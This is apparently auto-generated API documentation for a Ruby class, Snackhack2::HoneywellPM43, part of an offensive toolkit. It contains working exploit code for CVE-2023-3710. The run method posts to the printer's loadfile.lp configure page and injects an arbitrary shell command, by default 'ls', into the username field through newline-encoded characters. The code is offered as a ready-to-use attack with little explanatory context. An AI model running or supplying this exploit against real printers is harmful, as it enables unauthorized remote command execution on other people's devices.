Class: Snackhack2::HoneywellPM43
- Inherits:
-
Object
- Object
- Snackhack2::HoneywellPM43
- Defined in:
- lib/snackhack2/Honeywell_PM43.rb
Instance Attribute Summary collapse
-
#command ⇒ Object
CVE-2023-3710 Source: www.exploit-db.com/exploits/51885.
Instance Method Summary collapse
-
#initialize(site, command: "ls", save_file: true) ⇒ HoneywellPM43
constructor
A new instance of HoneywellPM43.
- #run ⇒ Object
Constructor Details
#initialize(site, command: "ls", save_file: true) ⇒ HoneywellPM43
Returns a new instance of HoneywellPM43.
8 9 10 11 |
# File 'lib/snackhack2/Honeywell_PM43.rb', line 8 def initialize(site, command: "ls", save_file: true) @site = site @command = command end |
Instance Attribute Details
#command ⇒ Object
CVE-2023-3710 Source: www.exploit-db.com/exploits/51885
6 7 8 |
# File 'lib/snackhack2/Honeywell_PM43.rb', line 6 def command @command end |
Instance Method Details
#run ⇒ Object
17 18 19 20 21 22 23 24 25 |
# File 'lib/snackhack2/Honeywell_PM43.rb', line 17 def run pp = HTTParty.post(File.join(@site, "loadfile.lp?pageid=Configure"), body: "username=x%0a#{@command}%0a&userpassword=1") if pp.code == 200 puts pp else puts "[+] Status Code: #{pp.code}" end end |